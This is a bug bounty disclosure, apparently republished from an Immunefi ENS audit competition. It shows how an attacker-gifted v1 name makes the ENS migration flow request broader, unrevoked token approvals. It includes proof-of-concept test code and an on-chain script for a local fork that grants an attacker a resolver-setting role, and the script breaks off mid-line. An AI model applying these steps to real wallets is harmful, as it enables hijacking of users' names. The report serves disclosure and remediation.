An attacker-gifted v1 name modifies the arguments of the migration transaction set the victim signs, adding an approval that would not otherwise be requested and widening a toke
The ENS migration flow builds the approval transactions a victim signs from the names in their migration plan, and a name gifted by an attacker (an ERC-721 transferred without reclaiming the ENSRegistry controller) is selected by default and changes those approvals. This adds a collection-wide setApprovalForAll on the V2 ETHRegistry that would otherwise not be requested, widens a token-scoped approval into a blanket one, and two of the three operator approvals are never revoked despite release notes saying they are temporary.
Originally disclosed on Immunefi
- Disclosed after under an hour
91839 w a insight an attacker gifted v1 name modifies the arguments of the migration transaction set the victim signs adding an approval that would not otherwise be requested and widening a toke
Submitted on Sep 4th 2026 at 16:55:34 UTC by @br0nz3p1ck4x3 for Audit Competition | ENS
- Report ID: #91839
- Report Type: Websites & Apps
- Report severity: Insight
- Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/apps/manager
- Impacts:
- Malicious interactions with an already-connected wallet, such as: Modifying transaction arguments or parameters Substituting contract addresses Submitting malicious transactions Signing or submitting a transaction against the wrong chain (for example when the request's target chain is not validated) Inducing a blanket token approval (for example setApprovalForAll on the registry or NameWrapper) to an attacker-controlled address
Description
Summary
The migration flow derives the calls the victim is asked to sign from the contents of their migration plan, and the plan admits names the victim never asked for. An ERC-1155 or ERC-721 arrives without consent, so a third party can put a name into that plan. Doing so changes the arguments of the transaction set the connected wallet then signs.
Two separate defects follow, sharing that one attacker primitive.
A. An attacker can add an approval call to the victim's migration, and widen the scope of another. The set of approvals the victim is asked to sign is derived from the names in their migration plan. A single unwrapped v1 name gifted by an attacker, with the ENSRegistry controller left unreclaimed, flips requiresManagerRestoration and appends setApprovalForAll on the V2 ETHRegistry, covering every v2 name the victim owns. Without that gifted name the approval is not requested at all. Separately, going from one missing unwrapped token to two converts a token-scoped approve(operator, tokenId) into a collection-wide setApprovalForAll on the V1 BaseRegistrar, so one extra gifted name also widens that approval.
B. Two of the three operator approvals are never revoked, and the shipped release notes state the opposite.
// apps/manager/src/features/migration/service/migrationApprovals.ts:73-81
/**
* Only direct HCA permissions are temporary. MigrationHelper approvals are
* intentionally reusable: the helper resolves every caller back to its
* certified owner before it can move that owner's V1 names.
*/
export const requiresMigrationApprovalCleanup = (
approval: MigrationApproval,
): approval is MigrationCleanupApproval =>
approval.kind === 'operator' && approval.id === 'eth-registry:hca'
// apps/manager/docs/HCA_MIGRATION_RELEASE_NOTES.md:69-74
Operator approvals created by the migration are temporary and are revoked
automatically after the atomic batches verify. This includes NFT access for
MigrationHelper and any manager-restoration access for the HCA.
The release notes promise that MigrationHelper access is revoked. The code says MigrationHelper approvals are intentionally never revoked. Both cannot be true, and the code is what ships.
The one approval that is revoked is also revoked only on the success path. revokeTemporaryOperatorApprovals is called after executeRemainingAtomicBatches with no finally (migrationService.ts:1205-1211), so any throw in approval submission or batch execution skips it and leaves the blanket ETHRegistry approval standing.
Impact
The attacker primitive is the same one that makes the stale-controller role grant work, and it costs one ordinary registration plus one safeTransferFrom. In v1, transferring the ERC-721 moves the registrant and leaves the ENSRegistry controller with the sender, so the attacker gifts a name and simply does not call reclaim().
That single gifted name, sitting in the victim's list and selected by default (useNameSelection.ts:33-39 seeds the selection with every eligible name), changes what the victim is asked to sign. This is the modification of transaction parameters that the impact row describes: the attacker does not touch the wallet, does not need a signature, and does not need the victim to visit anything. They put one token in the victim's wallet, and the victim's next migration carries different calls with wider scope than it otherwise would:
| Without the gifted name | With the gifted name |
|---|---|
base-registrar:hca-token, approve(MigrationHelper, tokenId), scoped to one token |
base-registrar:hca-token plus eth-registry:hca, setApprovalForAll(HCA, true) on the V2 ETHRegistry |
The added approval is collection-wide and open-ended. The PoC shows it covering a v2 name the victim registers after the migration finished, which the victim could not have consented to because it did not exist yet.
The holder of that approval is the victim's own HCA, not the attacker, and this report does not claim otherwise. What makes it material is what the HCA is: per the project's own R2-03, the prompt-free session adds an ephemeral key as a time-boxed co-owner with full owner authority for seven days, held in browser storage, and per R2-06 there is no on-chain revoke, so the seven-day lifetime is the real bound. An attacker who can cause a broader, longer-lived approval to that account has widened the blast radius of an accepted design residual, without the victim seeing a difference in the UI.
For the V1 BaseRegistrar and NameWrapper approvals, the operator is the pinned MigrationHelper and those grants are permanent by construction. The user is told they are temporary.
The victim sees none of this. NameRow.tsx renders a name, an avatar and a checkbox. No manager, no resolver, no approval scope. The wallet step is labelled Approve manager restoration with the subtitle Restore the existing managers for your names.
Root cause
A. Approval scope is derived from attacker-influenceable plan contents
| File:line | Code |
|---|---|
packages/migration/src/service/classifyNames.ts:162-167 |
managerAddress is set whenever the ENSRegistry controller differs from the registrant |
apps/manager/src/features/migration/service/computeMigrationPreflight.ts:205-207 |
requiresManagerRestoration = classified.some((name) => name.managerAddress !== null) |
apps/manager/src/features/migration/service/migrationService.ts:346-348 |
the same expression again at submit time |
apps/manager/src/features/migration/service/migrationApprovals.ts:320-323 |
if (needs.requiresManagerRestoration && !status.ethRegistryHcaApproved) pushes eth-registry:hca |
apps/manager/src/features/migration/service/migrationApprovals.ts:118-123 |
eth-registry:hca is { contractAddress: V2_CONTRACTS.ETHRegistry, operatorAddress: hcaAddress } |
apps/manager/src/features/migration/service/migrationApprovals.ts:299-313 |
missingTokenIds.length === 1 yields a token-scoped approval, otherwise a blanket setApprovalForAll on the V1 BaseRegistrar |
apps/manager/src/features/migration/service/migrationApprovals.ts:343-352 |
buildMigrationApprovalCall encodes setApprovalForAll(operator, true) for every operator approval |
apps/manager/src/features/migration/components/useNameSelection.ts:33-39 |
every eligible name, including the gifted one, is selected by default |
B. Cleanup covers one approval of three, and only on success
| File:line | Code |
|---|---|
apps/manager/src/features/migration/service/migrationApprovals.ts:78-81 |
requiresMigrationApprovalCleanup returns true only for eth-registry:hca |
apps/manager/src/features/migration/service/migrationService.ts:453-455 |
the revoke set is plan.preflight.migrationApprovals.filter(requiresMigrationApprovalCleanup) |
apps/manager/src/features/migration/service/migrationService.ts:1205-1211 |
revokeTemporaryOperatorApprovals runs after executeRemainingAtomicBatches, with no finally, so any throw skips it |
apps/manager/docs/HCA_MIGRATION_RELEASE_NOTES.md:69-74 |
states that MigrationHelper NFT access is revoked automatically |
Recommendation
- Do not let a name the user did not register, and whose controller they never appointed, silently widen the approval set. Treat an unreclaimed controller as suspect rather than as an appointed manager, which also fixes the companion role-grant finding.
- Show the approval scope in the UI before it is signed: which contract, which operator, and whether it is token-scoped or collection-wide.
- Wrap
revokeTemporaryOperatorApprovalsin afinally, or compute the revoke set from live chain state rather than fromplan.preflight, so a failed or abandoned run does not leave a blanket approval standing. - Either revoke the MigrationHelper approvals as the release notes promise, or correct the release notes and the wallet-step copy so they do not describe those grants as temporary.
- Prefer per-token
approveoversetApprovalForAllwherever the token set is known, rather than only when exactly one token is missing.
Proof of Concept
Proof of Concept
Executed against a local Anvil fork of Sepolia at block 11601093. No live network was touched. The on-chain script refuses to start against a non-local RPC.
Environment
anvil --fork-url <sepolia-rpc> --fork-block-number 11601093 --port 18546 --chain-id 11155111
cast chain-id --rpc-url http://127.0.0.1:18546 # 11155111
ETHRegistrar 0xa88553F454b77203B0D036A05c894d555EAAa2Cc
ETHRegistry 0xBDC85dD5b15D7ecb354cd7cb6f2c50b4f2c4F0E2
BaseRegistrar 0x57f1887a8BF19b14fC0dF6Fd9B2acc9Af147eA85
NameWrapper 0x0635513f179D50A207757E05759CbD106d7dFcE8
MigrationHelper 0xddC597d937618849348E18Db5D631Ce747bCDeEF
MockUSDC 0x768F42455A2D082E23ceeF7d51e5787C82d67a39
Part A: the app's own planner adds the blanket approval, and the cleanup skips two of three
apps/manager/src/features/migration/service/POC-migration.test.ts runs the real planMigrationApprovals, migrationApprovalForId, requiresMigrationApprovalCleanup, buildMigrationApprovalCall and buildMigrationOperatorApprovalRevocationCall. Nothing is hand-encoded. The same file carries the companion role-grant finding, whose assertions are reported separately.
Run with pnpm --filter @ens-apps/manager exec vitest run POC-migration --reporter=verbose.
/**
* PoC Part A for BOTH migration findings. Drives the REAL application code.
* No chain required.
*
* Run: pnpm exec vitest run POC-migration --reporter=verbose
*/
import { classifyName } from '@ens-apps/migration'
import { labelToCanonicalId, registryRoles } from '@ensdomains/ensjs/utils/v2'
import { decodeFunctionData, erc721Abi, parseAbi } from 'viem'
import { describe, expect, it } from 'vitest'
import { V1_CONTRACTS, V2_CONTRACTS } from '../contracts/addresses'
import { buildRoleGrantCall } from './buildRoleGrantCalls'
import {
buildMigrationApprovalCall,
buildMigrationOperatorApprovalRevocationCall,
migrationApprovalForId,
planMigrationApprovals,
requiresMigrationApprovalCleanup,
} from './migrationApprovals'
const VICTIM = '0x1111111111111111111111111111111111111111' as const
const ATTACKER = '0x2222222222222222222222222222222222222222' as const
const HCA = '0x3333333333333333333333333333333333333333' as const
const grantRolesAbi = parseAbi(['function grantRoles(uint256 resource, uint256 roleBitmap, address account)'])
const approvalAbi = parseAbi(['function setApprovalForAll(address operator, bool approved)'])
/**
* A v1 .eth name the victim HOLDS (registrant) but whose ENSRegistry
* controller is still the attacker. This is the ordinary post-sale state:
* BaseRegistrar.safeTransferFrom moves the registrant and leaves the
* controller untouched until someone calls reclaim().
*/
const giftedName = {
id: '0xabc',
labelName: 'giftedname',
labelhash: '0xdef',
name: 'giftedname.eth',
resolver: null,
owner: { id: ATTACKER }, // ENSRegistry controller: still the attacker
registrant: { id: VICTIM }, // ERC-721 holder: the victim
wrappedOwner: null,
parent: { name: 'eth', wrappedDomain: null },
registration: { expiryDate: String(Math.floor(Date.now() / 1000) + 31536000) },
wrappedDomain: null,
}
describe('FINDING A: migration grants the stale v1 controller a permanent v2 role', () => {
it('classifyName lifts the attacker address out of the subgraph as managerAddress', () => {
const result = classifyName(giftedName as never, VICTIM)
console.log('\n=== FINDING A / step 1: classifyName (real code) ===')
console.log('registrant (ERC-721 holder) :', giftedName.registrant.id, '(victim)')
console.log('owner (ENSRegistry ctrl) :', giftedName.owner.id, '(attacker)')
console.log('classified.type :', (result as any)?.type)
console.log('classified.managerAddress :', (result as any)?.name?.managerAddress)
expect((result as any)?.type).toBe('classified')
expect((result as any)?.name?.managerAddress?.toLowerCase()).toBe(ATTACKER)
})
it('buildRoleGrantCall encodes ROLE_SET_RESOLVER for that attacker address', () => {
const classified = (classifyName(giftedName as never, VICTIM) as any).name
const call = buildRoleGrantCall(classified)
const decoded = decodeFunctionData({ abi: grantRolesAbi, data: call.data })
const [resource, roleBitmap, account] = decoded.args as [bigint, bigint, string]
console.log('\n=== FINDING A / step 2: buildRoleGrantCall (real code) ===')
console.log('to :', call.to, '(V2 ETHRegistry)')
console.log('function :', decoded.functionName)
console.log('resource :', resource.toString())
console.log(' = labelToCanonicalId("giftedname") :', labelToCanonicalId('giftedname').toString())
console.log('roleBitmap :', roleBitmap.toString(), '= 1n << 24n')
console.log(' ensjs registryRoles.ROLE_SET_RESOLVER :', registryRoles.ROLE_SET_RESOLVER.toString())
console.log('account :', account, '<-- THE ATTACKER, never rendered anywhere in the UI')
expect(call.to).toBe(V2_CONTRACTS.ETHRegistry)
expect(decoded.functionName).toBe('grantRoles')
expect(resource).toBe(labelToCanonicalId('giftedname'))
// The hardcoded constant really is ROLE_SET_RESOLVER per the pinned ensjs.
expect(roleBitmap).toBe(registryRoles.ROLE_SET_RESOLVER)
expect(account.toLowerCase()).toBe(ATTACKER)
})
})
describe('FINDING B: a single gifted name induces a blanket operator approval', () => {
const status = {
baseRegistrarHcaApproved: false,
nameWrapperHcaApproved: false,
ethRegistryHcaApproved: false,
unwrappedTokenApprovals: [],
}
it('the eth-registry:hca blanket approval appears ONLY because of the gifted name', () => {
const without = planMigrationApprovals({
hcaAddress: HCA,
needs: { hasUnwrapped: true, hasWrapped: false, requiresManagerRestoration: false, unwrappedTokenIds: [1n] },
status,
})
const with_ = planMigrationApprovals({
hcaAddress: HCA,
needs: { hasUnwrapped: true, hasWrapped: false, requiresManagerRestoration: true, unwrappedTokenIds: [1n] },
status,
})
console.log('\n=== FINDING B / step 1: planMigrationApprovals (real code) ===')
console.log('without gifted name :', without.map((a) => a.id).join(', '))
console.log('with gifted name :', with_.map((a) => a.id).join(', '), '<-- extra blanket grant')
const extra = with_.find((a) => a.id === 'eth-registry:hca') as any
console.log(' contract :', extra.contractAddress, '(V2 ETHRegistry: ALL the victim\'s v2 names)')
console.log(' operator :', extra.operatorAddress)
expect(without.some((a) => a.id === 'eth-registry:hca')).toBe(false)
expect(with_.some((a) => a.id === 'eth-registry:hca')).toBe(true)
expect(extra.contractAddress).toBe(V2_CONTRACTS.ETHRegistry)
})
it('one extra unwrapped token turns a scoped approve() into a blanket setApprovalForAll', () => {
const one = planMigrationApprovals({
hcaAddress: HCA,
needs: { hasUnwrapped: true, hasWrapped: false, requiresManagerRestoration: false, unwrappedTokenIds: [1n] },
status,
})
const two = planMigrationApprovals({
hcaAddress: HCA,
needs: { hasUnwrapped: true, hasWrapped: false, requiresManagerRestoration: false, unwrappedTokenIds: [1n, 2n] },
status,
})
const oneCall = buildMigrationApprovalCall(one[0])
const twoCall = buildMigrationApprovalCall(two[0])
console.log('\n=== FINDING B / step 2: scope escalation ===')
console.log('1 unwrapped token -> id', one[0].id, '->', decodeFunctionData({ abi: erc721Abi, data: oneCall.data }).functionName, '(scoped to one token)')
console.log('2 unwrapped tokens -> id', two[0].id, '->', decodeFunctionData({ abi: approvalAbi, data: twoCall.data }).functionName, '(BLANKET, whole collection)')
console.log(' to :', twoCall.to, '(V1 BaseRegistrar)')
expect(one[0].kind).toBe('erc721-token')
expect(two[0].kind).toBe('operator')
expect(decodeFunctionData({ abi: approvalAbi, data: twoCall.data }).functionName).toBe('setApprovalForAll')
})
it('only 1 of the 3 operator approvals is ever revoked', () => {
const ids = ['base-registrar:hca', 'name-wrapper:hca', 'eth-registry:hca'] as const
console.log('\n=== FINDING B / step 3: requiresMigrationApprovalCleanup (real code) ===')
const revoked: string[] = []
for (const id of ids) {
const approval = migrationApprovalForId({ id, hcaAddress: HCA })
const willRevoke = requiresMigrationApprovalCleanup(approval)
if (willRevoke) revoked.push(id)
console.log(
`${id.padEnd(22)} contract=${(approval as any).contractAddress} operator=${(approval as any).operatorAddress} revoked=${willRevoke}`,
)
}
console.log('=> permanently retained:', ids.filter((i) => !revoked.includes(i)).join(', '))
expect(revoked).toEqual(['eth-registry:hca'])
})
it('the revocation call is a plain setApprovalForAll(operator, false)', () => {
const approval = migrationApprovalForId({ id: 'eth-registry:hca', hcaAddress: HCA }) as any
const call = buildMigrationOperatorApprovalRevocationCall(approval)
const d = decodeFunctionData({ abi: approvalAbi, data: call.data })
console.log('\n=== FINDING B / step 4: the one revocation that does run ===')
console.log('to :', call.to)
console.log('call:', d.functionName, d.args)
expect(d.args[1]).toBe(false)
})
})
Actual output for this finding:
=== FINDING B / step 1: planMigrationApprovals (real code) ===
without gifted name : base-registrar:hca-token
with gifted name : base-registrar:hca-token, eth-registry:hca <-- extra blanket grant
contract : 0xBDC85dD5b15D7ecb354cd7cb6f2c50b4f2c4F0E2 (V2 ETHRegistry: ALL the victim's v2 names)
operator : 0x3333333333333333333333333333333333333333
=== FINDING B / step 2: scope escalation ===
1 unwrapped token -> id base-registrar:hca-token -> approve (scoped to one token)
2 unwrapped tokens -> id base-registrar:hca -> setApprovalForAll (BLANKET, whole collection)
to : 0x57f1887a8BF19b14fC0dF6Fd9B2acc9Af147eA85 (V1 BaseRegistrar)
=== FINDING B / step 3: requiresMigrationApprovalCleanup (real code) ===
base-registrar:hca contract=0x57f1887a8BF19b14fC0dF6Fd9B2acc9Af147eA85 operator=0xddC597d937618849348E18Db5D631Ce747bCDeEF revoked=false
name-wrapper:hca contract=0x0635513f179D50A207757E05759CbD106d7dFcE8 operator=0xddC597d937618849348E18Db5D631Ce747bCDeEF revoked=false
eth-registry:hca contract=0xBDC85dD5b15D7ecb354cd7cb6f2c50b4f2c4F0E2 operator=0x3333333333333333333333333333333333333333 revoked=true
=> permanently retained: base-registrar:hca, name-wrapper:hca
=== FINDING B / step 4: the one revocation that does run ===
to : 0xBDC85dD5b15D7ecb354cd7cb6f2c50b4f2c4F0E2
call: setApprovalForAll [ '0x3333333333333333333333333333333333333333', false ]
Reading that output directly: the blanket ETHRegistry approval exists only in the plan that contains the gifted name, one extra unwrapped token turns approve into setApprovalForAll, and of the three operator approvals only eth-registry:hca is ever revoked, leaving the BaseRegistrar and NameWrapper grants to MigrationHelper permanently in place.
Part B: what the blanket approval actually permits
poc-migration-onchain.mjs runs the exact setApprovalForAll call buildMigrationApprovalCall produces, then has the victim register a further name and shows the operator moving it with no victim signature.
/**
* PoC Part B for BOTH migration findings.
* Local Anvil fork of Sepolia @ 11601093. Never a live network.
*
* FINDING A: the role the migration batch grants to the stale v1 controller
* really does let that third party repoint the victim's resolver.
* FINDING B: the blanket operator approval the migration induces really does
* cover every v2 name the victim owns, including names registered
* AFTER the approval was given.
*
* Run: node poc-migration-onchain.mjs
*/
import {
createPublicClient, createWalletClient, http, parseAbi, encodeAbiParameters,
keccak256, toHex, pad, hexToBigInt, zeroAddress, getAddress,
} from 'viem'
import { privateKeyToAccount } from 'viem/accounts'
import { sepolia } from 'viem/chains'
import { labelToCanonicalId, registryRoles } from '@ensdomains/ensjs/utils/v2'
const RPC = process.env.POC_RPC ?? 'http://127.0.0.1:18546'
if (!/^https?:\/\/(127\.0\.0\.1|localhost)(:|\/)/.test(RPC)) {
throw new Error(`refusing to run against a non-local RPC: ${RPC}`)
}
const ETH_REGISTRAR = '0xa88553F454b77203B0D036A05c894d555EAAa2Cc'
const ETH_REGISTRY = '0xBDC85dD5b15D7ecb354cd7cb6f2c50b4f2c4F0E2'
const USDC = '0x768F42455A2D082E23ceeF7d51e5787C82d67a39'
const VERIFIABLE_FACTORY = '0x10dC6333CDFe1FCEf624c6e0a8221b91804Cd7ef'
const PERM_RESOLVER_IMPL = '0x9EAe5C2730a7dD16BDD1DeE6421a1B91e3B0365e'
const ROLES_ALL = 0x1111111111111111111111111111111111111111111111111111111111111111n
const DURATION = 31536000n
const RUN = process.env.POC_RUN ?? String(Date.now()).slice(-6)
const NAME_A = `giftedname${RUN}` // the name whose resolver gets hijacked
const NAME_B = `laterName${RUN}` // registered AFTER the blanket approval
const victim = privateKeyToAccount(keccak256(toHex(`mig-victim-${RUN}`)))
const attacker = privateKeyToAccount(keccak256(toHex(`mig-attacker-${RUN}`)))
const hcaLike = privateKeyToAccount(keccak256(toHex(`mig-operator-${RUN}`)))
const pub = createPublicClient({ chain: sepolia, transport: http(RPC) })
const wc = (a) => createWalletClient({ account: a, chain: sepolia, transport: http(RPC) })
const registrarAbi = parseAbi([
'function makeCommitment(string label, address owner, bytes32 secret, address subregistry, address resolver, uint64 duration, bytes32 referrer) view returns (bytes32)',
'function commit(bytes32 commitment)',
'function getRegisterPrice(string label, uint64 duration, address paymentToken) view returns (uint256, uint256)',
'function register(string label, address owner, bytes32 secret, address subregistry, address resolver, uint64 duration, address paymentToken, bytes32 referrer)',
])
const registryAbi = parseAbi([
'function grantRoles(uint256 resource, uint256 roleBitmap, address account)',
'function hasRoles(uint256 resource, uint256 roleBitmap, address account) view returns (bool)',
'function setResolver(uint256 anyId, address resolver)',
'function getResolver(string label) view returns (address)',
'function getState(uint256 anyId) view returns ((uint8 status, uint64 expiry, address latestOwner, uint256 tokenId, uint256 resource) state)',
'function setApprovalForAll(address operator, bool approved)',
'function isApprovedForAll(address owner, address operator) view returns (bool)',
'function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes data)',
])
const erc20Abi = parseAbi(['function approve(address spender, uint256 amount) returns (bool)'])
const factoryAbi = parseAbi(['function deployProxy(address implementation, uint256 salt, bytes data) returns (address)'])
const resolverAbi = parseAbi(['function initialize(address owner, uint256 roles, bytes[] data)'])
const rpc = (m, p) => fetch(RPC, { method: 'POST', headers: { 'content-type': 'application/json' }, body: JSON.stringify({ jsonrpc: '2.0', id: 1, method: m, params: p }) }).then((r) => r.json())
const log = (...a) => console.log(...a)
const hr = (t) => log(`\n${'='.repeat(72)}\n${t}\n${'='.repeat(72)}`)
async function send(acct, req) {
const hash = await wc(acct).writeContract(req)
const rc = await pub.waitForTransactionReceipt({ hash })
if (rc.status !== 'success') throw new Error(`tx reverted ${hash}`)
return rc
}
async function fundUsdc(addr, amount) {
const slot = keccak256(encodeAbiParameters([{ type: 'address' }, { type: 'uint256' }], [addr, 0n]))
await rpc('anvil_setStorageAt', [USDC, slot, pad(toHex(amount), { size: 32 })])
}
async function registerName({ acct, label, resolver = zeroAddress }) {
const [base, prem] = await pub.readContract({ address: ETH_REGISTRAR, abi: registrarAbi, functionName: 'getRegisterPrice', args: [label, DURATION, USDC] })
const price = base + prem
await fundUsdc(acct.address, price * 10n)
await send(acct, { address: USDC, abi: erc20Abi, functionName: 'approve', args: [ETH_REGISTRAR, price * 10n] })
const secret = keccak256(toHex(`mig-${label}-${RUN}`))
const c = await pub.readContract({ address: ETH_REGISTRAR, abi: registrarAbi, functionName: 'makeCommitment', args: [label, acct.address, secret, zeroAddress, resolver, DURATION, pad('0x00', { size: 32 })] })
await send(acct, { address: ETH_REGISTRAR, abi: registrarAbi, functionName: 'commit', args: [c] })
await rpc('evm_increaseTime', [120]); await rpc('evm_mine', [])
await send(acct, { address: ETH_REGISTRAR, abi: registrarAbi, functionName: 'register', args: [label, acct.address, secret, zeroAddress, resolver, DURATION, USDC, pad('0x00', { size: 32 })] })
}
const stateOf = (label) => pub.readContract({ address: ETH_REGISTRY, abi: registryAbi, functionName: 'getState', args: [labelToCanonicalId(label)] })
hr('SETUP')
for (const a of [victim.address, attacker.address, hcaLike.address]) {
await rpc('anvil_setBalance', [a, '0x21e19e0c9bab2400000'])
const code = await pub.getCode({ address: a })
if (code && code !== '0x') throw new Error(`${a} has code`)
}
log('RPC :', RPC, '(local fork, enforced)')
log('chain/block:', await pub.getChainId(), '/', await pub.getBlockNumber())
log('victim :', victim.address)
log('attacker :', attacker.address, '(the stale v1 ENSRegistry controller)')
log('operator :', hcaLike.address, '(stands in for the victim HCA)')
await registerName({ acct: victim, label: NAME_A })
log(`\nvictim registered ${NAME_A}.eth`)
// ---------------------------------------------------------------------------
hr('FINDING A: the granted role lets a third party repoint the victim resolver')
const resourceA = labelToCanonicalId(NAME_A)
log('resource (labelToCanonicalId) :', resourceA.toString())
log('role granted by the migration :', registryRoles.ROLE_SET_RESOLVER.toString(), '(ROLE_SET_RESOLVER)')
let attackerHas = await pub.readContract({ address: ETH_REGISTRY, abi: registryAbi, functionName: 'hasRoles', args: [resourceA, registryRoles.ROLE_SET_RESOLVER, attacker.address] })
log('\nBEFORE attacker holds ROLE_SET_RESOLVER :', attackerHas)
// This is exactly the call buildRoleGrantCall() produces, inside the migration batch.
await send(victim, { address: ETH_REGISTRY, abi: registryAbi, functionName: 'grantRoles', args: [resourceA, registryRoles.ROLE_SET_RESOLVER, attacker.address] })
log('victim ran the migration batch call: grantRoles(resource, ROLE_SET_RESOLVER, attacker)')
attackerHas = await pub.readContract({ address: ETH_REGISTRY, abi: registryAbi, functionName: 'hasRoles', args: [resourceA, registryRoles.ROLE_SET_RESOLVER, attacker.address] })
log('AFTER attacker holds ROLE_SET_RESOLVER :', attackerHas)
// The attacker deploys a resolver it controls and repoints the victim's name at it.
const salt = hexToBigInt(keccak256(toHex(`mig-att-resolver-${RUN}`)))
const in
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the approval set is derived from attacker-influenceable plan contents (a gifted name whose ENSRegistry controller differs from the registrant is treated as an appointed manager), and cleanup only covers one approval and only runs on the success path.
Impact
The victim's next migration could carry a collection-wide, open-ended approval to their own HCA covering v2 names registered after the migration, and the BaseRegistrar and NameWrapper approvals to MigrationHelper are permanent, though the report does not claim the attacker directly holds the approval.
What the attacker needed
Victim holds a v1 name; attacker gifts a name, controller unreclaimed; victim runs the migration and signs
The fix
The report recommends treating an unreclaimed controller as suspect, showing approval scope in the UI, wrapping revocation in a finally or computing it from live chain state, revoking MigrationHelper approvals or correcting the notes, and preferring per-token approve where the token set is known.
How it was found
- The attacker registers an ordinary v1 name and transfers the ERC-721 to the victim without calling reclaim, leaving the ENSRegistry controller with the attacker.
- The gifted name appears in the victim's migration list and is selected by default.
- The victim starts the migration and the app plans approvals from the plan contents.
- Because the gifted name has a differing controller, requiresManagerRestoration becomes true and a blanket setApprovalForAll on the V2 ETHRegistry is added.
- A second gifted unwrapped token converts a token-scoped approve into a collection-wide setApprovalForAll on the V1 BaseRegistrar.
- The victim signs the wallet step labelled as restoring managers, and the extra approval is granted.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you migrate ENS names, your wallet is asked to approve other contracts to move your tokens. The app decides which approvals to ask for by looking at the names in your list, and anyone can send you a name you never asked for. That extra name silently makes the app request broader permissions than you intended, and some of those permissions are never taken back.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.